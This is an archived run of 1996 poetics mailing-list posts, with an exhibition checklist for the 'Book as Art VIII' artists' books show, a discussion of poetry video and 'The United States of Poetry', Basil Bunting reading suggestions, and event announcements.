Book as Art VIII includes books illustrating artists' interest in social concerns and the political process. Molly Van Nice created Notes on the Nature of Things, a critical analysis of the presidential electoral system, and Swiss Army Book, a reminder of the fragility of the book and its vulnerability to assault and possible destruction. In Portraits, Susan Rotolo tries to come to terms with the images of human devastation, disease and death that she has witnessed in New York City.

The National Museum of Women in the Arts is a private, non-profit museum dedicated to increasing public awareness of the outstanding achievements of women in the visual and performing arts. The museum's permanent collection consists of over 1,500 works dating from the Renaissance to the present, created by nearly 500 women artists from 28 countries. The museum's hours are 10:00 a.m. to 5:00 p.m., Monday through Saturday, and noon to 5:00 p.m. on Sunday. The Library and Research Center is open to the public for research from 10:00 a.m. to 5:00 p.m., Monday through Saturday by appointment only.

For more information, contact Holly Crider at [redacted].

↑ Index

34. Jeffrey W. Timmons
Book as Art VIII: Checklist
Tue 2 Apr 1996

This is mainly for Charles Alexander, but others might be interested too.

Jeffrey Timmons

BOOK AS ART VIII
CHECKLIST

ETEL ADNAN (Sausalito, California and Paris, France)
One Linden Tree, Then Another Linden Tree, 1985
Ink, watercolor, crayon and pomegranate peel dye on paper
11¾ x 8¼ inches (closed)

Unique bookwork
The NMWA Library and Research Center Collection
Gift of Etel Adnan and Salwa Mikdadi Nashashibi

MARION A. BAKER (Los Angeles, California)
Commedia dell' Arte: A Celebration, 1993
Poems by Ann B. Saltzman
Letterpress, photo engravings and linocuts on paper
12½ x 10 inches
Edition 66/75
Printmakers Press, Los Angeles, California
On loan from the artist

MICHELE BURGESS (San Diego, California)
Poem Made of Water, 1992
Poem by Nancy Willard
Chine collé drypoint engravings, letterpress and ink on paper
6½ x 9¼ inches
Edition of 25
Brighton Press, San Diego, California
The NMWA Library and Research Center Collection
Gift of the artist

MARYLEE BYTHERIVER (Oakland, California)
Venus on the Half Shell, 1994
Linoleum block prints on paper
10¾ x 7½ inches (closed)
Edition 6/50
Lunation Press, Oakland, California
On loan from the artist

JULIE CHEN (Berkeley, California)
Radio Silence, 1955
Aeronautical charts, letterpress on Wyndstone Mica and Tuxedo bronze paper, embossed paper, plexiglass and silk
5 x 3¼ x 3 inches (closed); box: 2¼ x 10¾ x 3½ inches
Edition 12/75
Flying Fish Press, Berkeley, California
On loan from the artist

ROSEMARIE CHIARLONE (Miami Beach, Florida)
Palm Book, 1995
Text by Henry David Thoreau
Palm leaves, Egyptian papyrus, oil paint stick, shellac
12 x 12 x 3½ inches

Unique bookwork
On loan from the artist

CAROL CUNNINGHAM (Mill Valley, California)
Muses, 1989-1994
Drawings by Gene Holtan
Letterpress on paper
10 x 7 inches
Edition 22/60
Sunflower Press, Mill Valley, California
On loan from the artist

EVELYN ELLER (Forest Hills, New York)
Music Box, 1990
Mixed media collage
5¾ x 5 x 2 inches
Unique bookwork
The NMWA Library and Research Center Collection
Gift of Paul and Rose Rosenbaum

ROSE FOLSOM (Silver Spring, Maryland)
Her Nightly Journeys, 1995
Poem by May Sarton
Gouache, vinyl paint and wheat paste on paper
12½ x 9½ inches
Unique bookwork
On loan from the artist

HELEN FRANKENTHALER (New York, New York)
Valentine for Mr. Wonderful, 1995
Poem by William Carlos Williams
Etching, aquatint, engraving, lithography and embossing on handmade paper
11¾ x 8¼ inches
Artist's proof 6/10
Tyler Graphics, Ltd., Mount Kisco, New York
On loan from Tyler Graphics, Ltd

RITA GALLE (Milano, Italy)
Song of Songs, 1990
Aquatint etching on paper
15 x 11¼ inches
Edition 20/100
Pardes Rimonim Press, Woodmere, New York
On loan from Raphael Fodde Editions

JAN GILBERT (New Orleans, Louisiana)
Memorial to Bobby: The Red Letter Day, 1988
Mixed media
4½ x 5½ inches and 6 x 9¼ inches; box 3½ x 9 x 6¼ inches
On loan from the Collection of Jim and Marcia Croyle

ADRIANE HERMAN (Madison, Wisconsin)
The Book I Made About the House That Jack Built, 1994
Collage, tempera, pencil on found book
6 x 5½ inches
Unique bookwork
On loan from the artist

Burnt Toast, 1993
Lithography on paper, toast, hinges
3¼ x 3¼ inches
Unique bookwork
On loan from the artist

A Brief Festival, 1988
Letterpress and woodcuts on paper
12½ x 10¼ inches
Edition 4/35
The Beggar's Bowl Press, Northampton, Massachusetts
On loan from the artist

CAROL PALLESEN HICKS (Reno, Nevada)
A Trilogy: My Life (Birth to Marriage; Marriage to Divorce; Divorce to...),1995
Tempera and gouache on paper, hand-colored photocopies of photographs
5 x 4 x 1 inches
Unique bookwork
On loan from the artist

LOU HICKS (Greenwich, Connecticut)
Images of a Voice, 1994
Poems by Mary Louise Cox
Letterpress and lithographs on paper
14 x 7 inches
Edition 48/50
On loan from Darrel Cox Jodrey

SHIREEN HOLMAN (Gaithersburg, Maryland)
Stream of Life, 1992
Poems by Tom Galt
Colored pencil on paper

12¾ x 16 inches
Unique bookwork
On loan from the artist

Stream of Life, 1994
Poems by Tom Galt
Handmade paper with pulp painting, woodcuts, photo-engravings and letter-press
14 x 15 inches
Edition 5/20
On loan from the artist

MARGO KLASS (Bethesda, Maryland)
"No Callous Shell", 1992
Poem by Walt Whitman
Found objects,19th-century ledger paper, ink, waxed linen and handmade paper
12 x 13 inches
Unique bookwork
On loan from the artist

Altarpiece: Resurrection, 1995
Handmade paper, waxed linen and found objects
10 x 11½ x 7¼ inches (closed)
Unique bookwork
On loan from the artist

NINA KOVACHEVA (Paris, France and Sofia, Bulgaria)
Alice Dreams, 1993
Pencil, ink and watercolor on paper and handmade paper
8 x 7½ inches
Unique bookwork
On loan from the artist

KAREN KUNC (Avoca, Nebraska)
On This Land, 1996
Poem by Lenora Castillo
Woodcuts on paper and red flax paper stained with walnut
7½ x 5¼ inches (closed); 7½ x 102 inches (open)
Edition 125/125
The Library Fellows of the National Museum of Women in the Arts, Washington, D.C.

SUSANNE LEVY (Arlesheim, Switzerland)
Sounds of Silence, 1987
Embossing and letterpress print on handmade paper
14 x 10 inches

Edition 19/40
The NMWA Library and Research Center Collection
Gift of the artist

JENNI LUKA (Richmond, Virginia)
The Daily Examination of the Conscience, 1994
Altered book and found objects
8¼ x 11¼ (open)
Unique bookwork
The NMWA Library and Research Center Collection
Gift of Jenni Luka and Catherine Saignier

MIRTA MELTZER (Buenos Aires, Argentina)
Mio Secreto (My Secret), 1994
Text by Antoine de Saint-Exupéry
Ink on handmade paper
7 x 5¼ inches (closed)
Unique bookwork
On loan from the artist

KATHERINE NG (Los Angeles, California)
The Book of Chain, 1992
Computer print on Tyvek
3¾ x 3¾ x 1 inches
Edition of 20
On loan from the artist

Fortune Ate Me, 1992
Letterpress handset type on paper and linocut
5 x 7 x 1½ inches
Edition of 100
Pressious Jade, Los Angeles, California
On loan from the artist

BEVERLY NICHOLS (Lenexa, Kansas)
Three Letters of Georgia O'Keeffe, 1995
Text by Georgia O'Keeffe
Watercolor and ink on paper, linen and foam
10¼ x 11½ inches (closed); 10¼ x 70 inches (open)
Unique bookwork
On loan from the artist

JAN OWEN (Bangor, Maine)
The Sun, 1995
Poem by William Blake
Gouache on paste decorated paper with woven paper

22½ x 8½ inches (closed); 22½ x 30 inches (open)
Unique bookwork
On loan from the artist

Language is to the Mind, 1995
Gouache on paste decorated paper with woven paper
25 x 11½ inches (closed); 25 x 40 inches (open)
Unique bookwork
On loan from the artist

ELENA PRESSER (Miami, Florida)
Goldberg Variation #14, 1983
Paper, pastel, pencil, silk thread and silver wire
13¾ x 10¾ x 1¾ inches
On loan from the artist

Goldberg Variation #15, 1983
Paper, pastel, pencil, silk thread and silver wire
13¾ x 10¾ x 2 inches
On loan from the artist

Goldberg Variation #16, 1984
Paper, pastel, pencil, silk thread and silver wire
13¾ x 10¾ x 2 inches
On loan from the artist

Goldberg Variation #21, 1984
Paper, pastel, pencil, silk thread, silk ribbon and silver wire
13¾ x 10¾ x 21½ inches
On loan from the artist

Goldberg Variation #25, 1984
Paper, pastel, pencil, silk thread, silk ribbon and silver wire
13¾ x 10¾ x 3 inches
On loan from the artist

Goldberg Variation #26, 1984
Paper, pastel, pencil, silk thread and silver wire
13¾ x 10¾ x 1½
On loan from the artist

Goldberg Variation #27, 1984
Paper, pastel, pencil, silk thread and silver wire
13¾ x 10¾ x 1¾ inches
On loan from the artist

Goldberg Variation #30, 1984
Paper, pastel, pencil, silk thread and silver wire
13¾ x 10¾ x 3 inches
On loan from the artist

Unfinished Symphony, 1982
Paper, pastel, pencil, silk thread, silk ribbon, wire
29 x 36 x 1 inches
On loan from the artist

DORIS RIEF (Baltimore, Maryland)
From Death to Life, 1988-1994
Mixed media
9½ x 11 inches
Unique bookwork
The NMWA Library and Research Center Collection
Gift of the artist

Painted Pages, 1987
Pastel on paper, oil stick, marker
22 x 30½ inches
On loan from the artist

Painted Pages, 1985
Paper mounted on canvas, spray paint, oil paint
40¾ x 40¾ inches
On loan from the artist

PHILOMENA ROBINSON (Chicago, Illinois)
Completing The Circle, 1996
Handmade paper, silver gelatin prints, watercolor, embossed copper and paper cutouts
7½ x 12 inches
Edition 1/125
The Library Fellows of the National Museum of Women in the Arts, Washington, D.C.

SUSAN ROTOLO (New York, New York)
Portraits: An Album of Damage and Death, 1994
Mixed media collage
4¾ x 6¼ inches
Unique bookwork
On loan from the artist

LINDA RUBINSTEIN (Putney, Vermont)
Work, 1988

Collage on paper and color pencil
6½ x 7¼ inches
Unique bookwork
On loan from the artist

Autobiography, 1990
Collage, watercolor, pen and ink on paper
10¼ x 12 inches
Unique bookwork
On loan from the artist

MARY SEGAL (Roseland, Florida)
The Continuing Story of Me, 1992-1993
Monotype and mylar transfer on paper
10 x 15 inches
Unique bookwork
On loan from the artist

Journal Drawing #3, 1992
Colored pencil and color photocopy on paper
22 x 30 inches
On loan from the artist

Journal Drawing #4, 1992
Colored pencil and color photocopy on paper
22 x 30 inches
On loan from the artist

SUSAN JOY SHARE (Brooklyn, New York)
A Bite of Air, 1990
Acrylic on bristol, color photocopy on paper, wood, lead weights, thread
10 x 7½ x 1 inches (closed); 42 x 21 inches (open)
Unique bookwork
On loan from the artist

Midnight Puzzle, 1989
Paper, cloth, board, photograph, acrylic, string, cork
4 x 4 x 2½ inches (closed); 10 x 31 x 19 inches (open)
Unique bookwork
On loan from the artist

ALICE SIMPSON (New York, New York)
Dirty Dancing, 1995
Gouache on paper
10 x 10½ (closed)

Edition 1/2
On loan from the artist

Dolphins, 1994
Poem by Stephen Spender
Watercolor on paper, tissue
20 x 6 inches
Unique bookwork
On loan from the artist

The Marc Ballroom, 1994
Watercolor on paper, beads, ribbons, wooden feet, cameo portraits
13 x 11 inches (closed)
Unique bookwork
On loan from the artist

ALLISON SMITH (Memphis, Tennessee)
Irish Journal, 1994
Handmade paper, beeswax, horsehair
7½ x 6 inches (closed); 68 x 6 inches (open)
Unique bookwork
On loan from the artist

Handbound, 1987
Library binding with leather glove
8 x 6 x 2 inches
Unique book
On loan from the artist

ANN STARR (Wellesley, Massachusetts)
Several Thoughts Concerning Clinical Depression, 1993
India ink and wash on paper, string
4 x 12½ inches
Unique book
On loan from the artist

BETTY R. SWEREN (Owings Mills, Maryland)
The Snake, 1995
Pulp painting with color pigments and mica on handmade paper
10 x 9½ inches
Edition 1/30
On loan from the artist

ALICE C. VAN BUREN (Paris, France)
The Siren of the Opera, 1994
Black and white photocopy on paper and watercolor

6¾ x 4½ inches
Edition 9/25
On loan from the artist

Le Fil d'Ariane, (Ariadne's Thread),1993
Etching on paper and string
5½ x 7 inches
Edition 1/25
On loan from the artist

The Public Virgin, 1994
Metallic paint on board, black and white photocopy on paper and feather
6 x 5½ inches
Edition 10/25
On loan from the artist

MOLLY VAN NICE (Sommerville, Massachusetts)
Notes on the Nature of Some Things (in five volumes of which this is the third), 1988
Paper, india ink, silkscreen, thread
15 x 11 inches
Unique bookwork
On loan from the artist

Swiss Army Book, 1990
Ink on paper, linen, wood, pen nib and ribbon
11½ x 20¼ x 8¾ inches
Unique bookwork
On loan from the artist

ANNA MARIA VANCHERI (Rome, Italy)
Incantalibro (Bewitched Book), 1994
Mixed media
10 x 6 x 4 inches
Unique bookwork
On loan from the artist

KARLA WOISNITZA (Berlin, Germany)
Day Book: Meditations in Ink, 1995-1996
Ink on paper
7½ x 6½ inches
Unique bookwork
On loan from the artist

ANN ZAHN (Bethesda, Maryland)
Carousel, 1992

Woodcut on paper
13 x 5½ inches
Edition of 20, artist's proof
On loan from the artist

Dentzel Carousel I, Glen Echo, Maryland, 1995
Woodcut on paper
12 x 15¾ inches
Edition 4/15
On loan from the artist

Dentzel Carousel XIII, Glen Echo, Maryland, 1995
Woodcut on paper
12 x 16 inches
Edition 4/15
On loan from the artist

(Some works cited in the checklist will be rotated and may not be on view during portions of the exhibition)

↑ Index

35. Tony Green
Re: new york city talks--saturday
Tue 2 Apr 1996

Reports of events -- far off -- are The Best. Thanks to Jordan Davis and Chris Stroffolino.

Tony Green,
e-mail: [redacted]

↑ Index

36. Joe Amato
poetry video...
Tue 2 Apr 1996

---

re poetry videos in general, the united states of poetry in particular, which i just yesterday had a chance to view in toto: some poetry videos seem to work better---much better---than others, *as videos*... the son et lumiere effect represents a different art form, just as music videos represent a different art form than the music alone... when these latter first came out (in the contemporary mtv scene, i mean) there were many musical 'purists' who objected to same...

the difficulty is that most music videos represent a translation from one pop cultural venue to another, whereas to transfigure poetry as video, as in the united

states of poetry, tends to move poetry into a pop cultural format---with which it's not always associated, depending on the community... there's also the oral/aural motioning of our culture in general, and how this 'plays into' the video format in ways that sheer sound alone may not... in terms of poetry, sound alone may offer more resistance than video to commodity pressures...

but this depends, and yeah, there are risks here, fer sure... i found wanda coleman's video successful precisely b/c it challenged the rec'd qvc-tv format... that is, it subverted the consumer venue AS venue... sure, there are some works about which it might be argued that they are inherently more performative... but interestingly, the least performance-oriented video---"performance" here taken to mean something like 'entertainment'---was larry eigner's... and for me, this was far and away the most fascinating display of poiesis, hence from another pov the finest performance (and i don't mean at all to suggest that the eigner video required less active work for the film crew editor etc)...

mebbe the most valuable aspect of the united states of poetry, for me, was its celebratory sense of a diverse culture with diverse voices---a diverse practice... this format works best for me in small doses, in part b/c so much of what i find crucial to poetic practice simply can't be 'visualized,' IS about the silences & solitudes attendant to writer-speaker/reader-listener interaction (even during the noisiest, community-based readings) as opposed to the singular Self espousing to the mass (anonymous) audience... but like all formats, video is surely a format that poets can learn from and work with, no?...

joe

↑ Index

37. Aldon L. Nielsen

Re: " . . . "

Tue 2 Apr 1996

---

for quick take on Bunting, if you haven;t already taken it, try _Basil Bunting: Man and Poet_ in the National Poetry Foundation series -- available at libraries, and still available indeed from Burt Hatlen at Orono --

Para Parra?
Par Ra?
Por que no?

↑ Index

38. Charles Alexander
Re: poetry video...
Tue 2 Apr 1996

It seems to me that U.S. of Poetry is as much about poetry (at least insofar as it makes a compilation which attempts to make a statement about the culture of poetry) as it is a poetry video, and that may be a critical distinction. Also it seems odd to me that in making a criticism of poetry videos we are talking about those that are on national television in various ways. That seems about the equivalent to making a criticism of poetry by talking about poems in Reader's Digest.

Also, that video is necessarily a pop culture format would seem rather odd to the many video artists who are doing things with video which will never get onto national public television or national network television; and a lot of which will never even get onto local cable access programs. Some of these, I imagine, are doing work with poetry. I would think we would be better served to find our own peers in localities all over who are working in video. I know a group called Video Art Network, which is a collective including Nancy Solomon and other video artists in Tucson, Arizona, have done some work with poetry. They did one video which was in part a video response to or realization of a poem I wrote titled White Gorge. The difficulty, though, with talking about such work for any of us here is that it's so difficult to see such works. Just as it's quite difficult to find a lot of poetry out there if you're not part of some network of writers.

Saying that, I will say that I did find some good in U.S. of Poetry, but that a lot of it left me wanting something else.

charles

↑ Index

39. Peter Quartermain
Re: Bunting
Wed 3 Apr 1996

for quick take on Bunting there is also the special Bunting issue of Durham University Journal Spring 1995 _Sharp_Study_and_Long Toil_ edited by Ruchard Caddel and available from the Bunting Poetry Archive aty Durham UK for ten pounds. And there's two shortish essays on Bunting in my own _Disjunctive_Poetics: _From_Stein_and_Zukofsky_to_Susan_Howe_ (Cambridge UP 1993), as well as the full length Peter Makin book _The_Shaping_of_Butning'S_Verse_ (Oxford) -- I don't think that's quite the right title, but it's pretty close.

Peter

>for quick take on Bunting, if you haven;t already taken it, try _Basil
>Bunting: Man and Poet_ in the National Poetry Foundation series --
>available at libraries, and still available indeed from Burt Hatlen at
>Orono --
>
>
>Para Parra?
>Par Ra?
>Por que no?
>
>
+ + + +

"What, in the end, makes advertisements so superior to criticism" Not what the moving red neon sign says--but the fiery pool reflecting it in the asphalt." (Reflections 86)

Exchange "poetry" for "criticism."

William

--

William Northcutt
Englische Literaturwissenschaft
GWII
Universitaet Bayreuth
95440 Bayreuth, Germany
0921/553577
fax 0921/553641
email: [redacted]

↑ Index

42. Aldon L. Nielsen
Re: "Video ergo sum" (thanks, Joan)
Wed 3 Apr 1996

Like Charles, I found recent discussion of poetry video odd, though not at all surprised by the focus on USP, it having just recently aired -- like the "enactments?" in _Voices & Visions_, entirely TOO literal-minded for my tastes --

but wanted to mention new anthology on video art,, nothing in it abt poetry (and it could use such an essay!) -- but much that will interest those thinking about poetry and video art:

Resolutions: Contemporary Video Practices
ed. Michael Renov & Erika Sunderburg
U of Minnesota Press

↑ Index

43. Bill Luoma
Monte's Venetian Room
Wed 3 Apr 1996

Hi chris Stroff, who said @ NYC talker said "Form is never more than an extension of Creely," is giving me grief for being allegorical. But thanks for asking for a read on Monte's. you are what you eat. my take is limited but i would read Monte's as a large symbol of the Pound/Stein/radmod fascist commie

contradiction. also it's the western hem. Monte's Venetian Room is nearly on the Gowanus Canal and i imagine that venice imitation as usa, canada, mex, south am as a euro-trash heap built on top of native americans. see below for who gowanus was and another allegory chris. but also monte's functions as a small space where no one goes except kevin and douglass and lisa, who go over the tradition bridge the wrong way which makes for some great poems while the cops try to match up vehicle identification numbers. a community. these ones are willing to do the star trek tag line. Nomo Clonal. I mean Nogo is an edgy community not yet sanctioned by the Landmarks Preservation Foundation. it's not soho or berkeley or the upper west side (nyet). the canadians have been to Nogo. Ask Dan Farrell what happened to his $200.

Bill Luoma

Students Can Help Re-Design The Gowanus Canal Area

The Brooklyn Chapter of The American Institute of Architects (AIA), in conjunction with the Gowanus Canal Development Corporation and the Pratt Institute Center for Community Development, are sponsoring a design competition for the Gowanus Canal area. The competition is open to fourth year students in the five architectural schools in New York City. Although the competition will study one site which straddles the Canal, the intent of the competition is to examine mixed use, as a development strategy for the entire canal area. "The project has the size to as a discrete component, but also play a part in future development," according to Don Weston, FAIA, coordinator of the competition for the Brooklyn Chapter, "The chosen site raises a particular question of how to establish a role and a hierarchy of public space, relative to the public asset of the canal." It is the hope of the sponsors that entrants maintain the balance between design ideas and the realities of the difficult Brooklyn site.

The Gowanus Canal study area comprises 27 city blocks of predominantly industrial uses, and a residential population of 20,000 people for the eight census tracts surrounding the Canal. There are over 700 businesses of various types and scale that employ approximately 5,500 people in the industrial zones. "But, there is the more important question of how to make places where working and living occur together," said Weston.

As a 19th Century barge canal, the Gowanus continues to serve as medium for the transportation of oil, but the competition sponsors hope to tap its 21st Century potential as a unique urban place. "The introduction of recreational, residential, and other land uses will eventually lead to a significant reassessment of the area as a sustainable environment," Weston continued.

The Gowanus Canal was a creek named for Gouwane, a Canarsee chief and Native-American. It was forever altered from a fishing and hunting ground to a barge canal for commercial navigation by the late 1800's. The surrounding

marsh land was drained and the canal quickly became environmentally dysfunctional.

In response, a 12-foot diameter tunnel 60 feet below grade was designed in 1909 and completed in 1991 to force water through the canal in concert with the tidal action in Buttermilk Channel to the west and Gowanus Bay to the south. The canal was dredged to depths of 7 to 12 feet at mean low water. The tunnel's pumping mechanism failed in 1961, marking the beginning of a 35-year concentration of pollutants into an essentially dead body of water.

Today, the long awaited clean up of the Gowanus Canal is close to being achieved and the competition site is in its final remediation stage from its former use as a coal gasification plant. The canal is a barrier between two established residential neighborhoods, Carroll Gardens to the west and Gowanus to the east. The site on the Carroll Gardens side is essentially residential and the south side is predominantly manufacturing, retail, or service industry uses. The competition sponsors recognize mixed use markets and refer to such precedents as Soho and Hunter's Point. "We seek solutions which respect the canal's historical perspective, while encouraging design concepts that will enrich Brooklyn's economic development."

Entrants are asked to consider how technology has changed the home and workplace and how this gives mixed use added impetus. The project seeks to address the needs for housing as well as studios and production workshops, performance and exhibition spaces, and other amenities. Public access to the waterfront is one of the requirements of each design.

The jury consists of Giorgio Cavaglieri, FAIA; Rex Curry, associate director, Center for Community Environmental Development; John Loomis, AIA, Audrey Matlock, AIA; Laura Osorio, AIA; Jan Pokorny, FAIA; Stephen Raphael, Esq., commissioner, Landmarks Preservation Foundation; Buddy Scotto, Gowanus Canal Community Development Corp.; Ron Schiffman, commissioner City Planning Commission; and Don Weston, FAIA.

It is planned that after the awards are announced, an exhibition and conference to further discuss the selected schemes will be held.

The five schools who will be participating in the competition are Pratt Institute, The Cooper Union, City College, New York Technical College, and Parsons School of Design. The deadline for submissions is May 1, with judging to be done by May 20. The entrants will be competing for scholarship prizes totaling $3,000 provided by the Pat Raspante Scholarship Fund. Raspante was a long time member of AIA/Brooklyn and a well respected architectural educator. For more information, call the AIA of Brooklyn, at [redacted].

↑ Index

44. David Baratier
contra simic
Wed 3 Apr 1996

That is so true, what would us "poets" (label as yours) do without the de-constructivist lens as a method of inquiry to dissassemble poetry? How greatful all of us should be that a critic has taken their *free* copy, once it arrives parcel post, to review using the particular sect of criticism that best unseats the rider. The assumption of the author as less intelligent than the language they use (and, of course, less than the critic) prevails, their inability to "protect" themselves with the correct jargon continues.

the words were the motor or the driving force
-Taggart

David Baratier

↑ Index

45. Joe Amato
Re: poetry video...
Wed 3 Apr 1996

charles, yes---my remarks aimed at the attempt to popularize poetry by usop... i'm looking to try to establish the benefit of same, i'm trying (as peter elbow once put it) to play the 'believing game,' but with brain intact...

and i was struck by my class's response the other night to john s. hall's (as i recall) melted-candle-wax-on-nipples comedy routine (comedy to me, that is)... a number of students preferred this latter to most of the other videos (we didn't have time to watch 'em all)... and w/o any interference---i assume b/c some saw themselves, their own abilities in hall's routine---were eager to argue for the *value* of such effort as equivalent to, for example, much of what i took to be more complex, more sophisticated, more *poetic* work, writing-wise...

i can find no way to account for same w/o trying to understand the video format of usop in terms of entertainment-performance, in terms of its popular predecessors (which for me, again, are the mtv-vh1-style videos, not the independent film-video scene)... and while, again, i have no axe to grind with the popular per se, what i found and find most distressing is the inability of my (undergrad., non-english major) students---who have spent some time with much of the contemporary poetry discussed hereabouts---to distinguish between writings of, imho, such wildly divergent value *as writing*... these kids are motivated, and smart, but mebbe sold-short some b/c of their cultural backdrop (and i hope not by me in saying so)...

best,

joe

↑ Index

46. John E. Matthias
Re: Bunting
Wed 3 Apr 1996

Please, let's not forget Victoria Forde's _The Poetry of Basil Bunting_ (Bloodaxe, 1991). This was the first book on Bunting, and the one on which he actively collaborated. As a dissertation--and the changes in the published version are not radical--it was finished in 1973. It lacks the sophistication of later work on Bunting, but has a charm (and, not to take anything away from it, also an authority) all its own. Bunting's correspondence with Victoria Forde is quite beautiful and ought to be published, as of course should all the rest of his correspondence. Is anyone working on this?

John Matthias

↑ Index

47. cris cheek
Macsweeney / Cambridge Poetry Conference
Wed 3 Apr 1996

Those wanting to hear Macsweeney have a chance at this year's -

Sixth Cambridge Conference of Contemporary Poetry

at King's College, 26-28 April 1996 - Readings Discussion Performance

Friday - John James, Barry MacSweeney

Saturday - 11am Mas Abe, Adrian Harding, Simon Perrill 2pm editing discussion with Andrew Duncan, John Kinsella, John Wilkinson
8pm Les A Murray, Ian Patterson, Lisa Robertson

Sunday 2pm Caroline Bergvall, Brian Catling, cris cheek
4pm Harry Gilonis, Rob MacKenzie
7pm Kelvin Corcoran, Alan Halsey, Pascalle Monnier

all inquiries: 0223 327455/321658

↑ Index

48. **Tony Green**
Re: Bunting
Wed 3 Apr 1996

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or Butning etc. LOST in the move to my current office copy of AGENDA-- a special on Bnuting some years back --- good value as I recall. Btuning, that is.

Tony Green,
e-mail: [redacted]

↑ Index

49. **Tony Green**
Re: Benjamin
Wed 3 Apr 1996

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makes me curious to know what the German says "fiery pool"?

Tony Green,
e-mail: [redacted]

↑ Index

50. **Maria Damon**
Re: poetry video...
Wed 3 Apr 1996

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joe a--interesting about john hall on USOP, at my gathering, someone remarked, "how'd this one get in here?" w/ distaste. i myself enjoyed the kookiness of it, w/ the cello duo in background and martini glass. md

↑ Index

51. **Joe Amato**
Re: poetry video...
Thu 4 Apr 1996

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maria, that's just it: i'm feeling at once tightass and justified in observing that the hall video---while a 'relief' in some ways from the adjacent work---is playing to a distinctively different crowd... in fact surfacing a key element at work in usop, which has to do (much) less with poetry than with (a peculiar kind of) spectacle... which doesn't necessarily contribute to a better poetic environs...

interesting that another student in the class remarked, in general, that with a product to sell, some of the usop spots would make terrific commercials... and another observed that she stopped listening to the words after a while (thus an argument against video enhancing the audio)... just so's i don't give the impression that the folks in my class aren't thinking...

but i think, at the very least, that usop is playing to a different audience than the one hereabouts, on poetics... in general, i mean, and i wonder if the difference between mself and the members of my class has less to do with my poetic background per se than with some generational differences in our response to image technologies... as much as i like to think of mself as hip, i mean, we're separated by approx. 20 years...

but mebbe i'm being *too* generous!...

best,

joe

↑ Index

52. Henry Gould

Re: poetry video...

Thu 4 Apr 1996

On Thu, 4 Apr 1996 09:01:08 -0600 Joe Amato said:
>surfacing a key element at work in usop, which has to do (much) less with
>poetry than with (a peculiar kind of) spectacle... which doesn't
>necessarily contribute to a better poetic environs...
>
>but i think, at the very least, that usop is playing to a different
>audience than the one hereabouts, on poetics...

Seems like poets should be able to turn technology to their own purposes - especially when they consider performance aspects of what they're doing. I've been looking at the book Maria Damon mentioned - Gregory Nagy, _Poetry as Performance: Homer & beyond_. He focuses on the idea of refraction - or modulation, variation - the way a song "changes around" both internally (modulation) and with repeated performances or interpretations (variations, variants). Quotes some beautiful lines from Homer about how when spring comes the nightingale in the woods begins to modulate, "change the song around"; the idea is that a strong song or poem has continuity - moving from performer to performer and so on. An "oral" as opposed to scriptural sense of song or text. What if we considered some elements of form - modulated rhythm & repetitions - not as aids to "scriptural memory" but as aids to repeat performance?

What does this have to do with poetry videos... well I think
some consideration of performance values would help put poets
in an active versus passive relation to media tech & its
cliches.
- Henry Gould

↑ Index

53. Chris Stroffolino
Re: poetry video...
Thu 4 Apr 1996

---

md--
i didn't get the USOP yet...
does HALL do "i am a sensitive artist" or "steal things from work"
on that?
cs

↑ Index

54. Patrick Foley
Re: poetry video...
Thu 4 Apr 1996

> *(which for me, again, are the mtv-vh1-style videos,*
> *not the independent film-video scene)*

Joe, I don't think you need to say "mtv-vh1", just "mtv" will do b/c (well at least I think) they own "vh1" among several others. I hear this fall they're launching a spoken-word channel too, maybe PoTV.

Pat

(List-members: don't ask me where I heard that... It's a joke.)

<[redacted]>

↑ Index

55. Joe Amato
Re: poetry video...
Thu 4 Apr 1996

---

yes, i like that henry, that sense of active vs. passive encounter with media techne... i recall speaking some (musta been) ten years ago with john mason about the possibilities of poetry and video (where the hell IS john, anyway?)... again, as charles and others indicate, usop is only (one of) the most public of video-poetry efforts...

actually, though i agree with aldon in general about *voices & visions*, i found particular moments in this latter series quite moving... if i'm not mis-recollecting, those b & w shots of pound blankly walking around in his room, with his voiceover on canto lxxxi... very powerful... unless this latter is a dream inspired by that segment...

but i'm really at somewhat of a loss here, b/c while on the one hand i know very little, actually, about video technology (i mean from a hands-on viewpoint), i

do feel justified in observing that the aural-cum-written is overpowered by the visual... i still 'see' film as primarily a visual technology, and i say this with due regard for the combined cinematic effect of sound, music, foley work, etc... but given the relative info. saturation of the network or cable image (whether 57 channels with nothin on or no), the benefit of poetry as either spoken or writ (or both) seems to me to be in its (however) performatively drawing the listener/reader in on a---what adjective to use here once i hazard this sort of distinction?---

[careful]? (hall is certainly careful)
[well-wrought]? (hall's is well-wrought in the context of his own aesthetic)
[aware]? (both hall and the video production team are aware of what they're doing)
[complex]? (well---complex in terms of writing, perhaps not... BUT hall's may be a
complex artifact when measured against that which he mocks, regardless
my anecdotal evidence re reception of same)

[ ] making...

i suppose then, that there *is* a way to read/watch/experience the hall video (poor hall!) in terms of its specifically video craft---and the various traditions it's busy playing off against... but this is exactly what the marketplace of video would seem to me to militate against, with the result being (surprise surprise) that more intense or complex language work per se is, in the popular sphere, potentially to be regarded as elitist or exclusionary... of course there are good (historical) reasons for being suspicious of 'literate' practices, of 'literacy' in general... but then, at the same time, this is no excuse for a reduction of this latter simply to gatekeeping hegemonies, either in fact or in perception of same...

again the question would seem to turn on how one establishes the value of poetry in particular, writing in general, in this vast semiotic sea... given so many possible value schemes, i'm not sure i'm justified in my relative disappointment wrt usop... esp. b/c it has its share of intriguing moments...

joe

↑ Index

56. Julie Marie Schmid
Re: Performance poetry/Nagy's book
Thu 4 Apr 1996

In Henry Gould's posting, he mentioned a book by Gregory Nagy *Poetry as Performance.* It appears that it may have already been discussed here, but could you post some more bibliographic information regarding this text? I'm working on a dissertation on performed poetries and this book sounds like it might be really useful. Likewise, if anyone else out there has suggestions for me--I'm looking specifically for texts that discuss the event or the performance or the voicing of the poem, and I have found "performance theory" (whatever that means) to be pretty useless here--please feel free to either post them or send them to me directly.

Thanks so much.

Julie Schmid
[redacted]

↑ Index

57. Henry Gould
Re: Performance poetry/Nagy's book
Thu 4 Apr 1996

On Thu, 4 Apr 1996 11:07:55 -0600 Julie Marie Schmid said:
>In Henry Gould's posting, he mentioned a book by Gregory Nagy *Poetry as
>Performance.* It appears that it may have already been discussed here,
>but could you post some more bibliographic information regarding this
>text?

Nagy, Gregory / Poetry as performance: Homer and beyond
Cambridge UP, 1996
isbn 0521551358

HG

↑ Index

58. { brad brace }
won the workers
Thu 4 Apr 1996

MERCHANT NO.919 when he read that a man's life in a railroad accident was saved by the strength of his shirt, he hunted up the man in the hospital, then bought a lot a shirts of the same make, dressed a window with the torn shirt and the new ones and held a successful sale.

--
